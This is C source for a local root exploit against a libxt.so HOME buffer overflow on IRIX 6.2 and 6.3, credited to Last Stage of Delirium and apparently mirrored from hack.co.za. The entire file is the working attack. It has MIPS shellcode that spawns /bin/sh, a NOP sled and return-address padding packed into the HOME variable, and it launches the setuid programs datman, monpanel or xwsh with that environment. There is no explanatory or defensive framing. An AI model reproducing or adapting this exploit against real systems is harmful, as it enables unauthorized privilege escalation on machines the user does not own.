/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
/*## libxt.so $HOME                                                          #*/

/*   works on systems with and without a patch for libxt.so -xrm bug          */
/*   installed: irix 6.2 (patch 2154), 6.3 (patch 2153)                       */

#define NOPNUM 10000
#define ADRNUM 4000
#define PCHNUM 3000
#define ALLIGN 3

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[20000],adr[4],pch[4],*b,*envp[3],display[128];
    int i,n=-1;

    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
    printf("libxt.so $HOME for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    if(argc!=3){
        printf("usage: %s {datman|monpanel|xwsh} xserver:display\n",argv[0]);
        exit(-1);
    }

    if(!strcmp(argv[1],"datman")) n=0;
    if(!strcmp(argv[1],"monpanel")) n=1;
    if(!strcmp(argv[1],"xwsh")) n=2;
    if(n==-1) exit(-1);

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+20260+5000+3000+4000;
    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+20260+2000+3000+31816;

    sprintf(display,"DISPLAY=%s",argv[2]);
    envp[0]=buffer;
    envp[1]=display;
    envp[2]=0;

    b=buffer;
    sprintf(buffer,"HOME=");
    b+=5;
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    switch(n){
    case 0: execle("/usr/sbin/datman","lsd",0,envp);
    case 1: execle("/usr/sbin/monpanel","lsd",0,envp);
    case 2: execle("/usr/sbin/xwsh","lsd",0,envp);
    }
}
/*                    www.hack.co.za           [20 August 2000]*/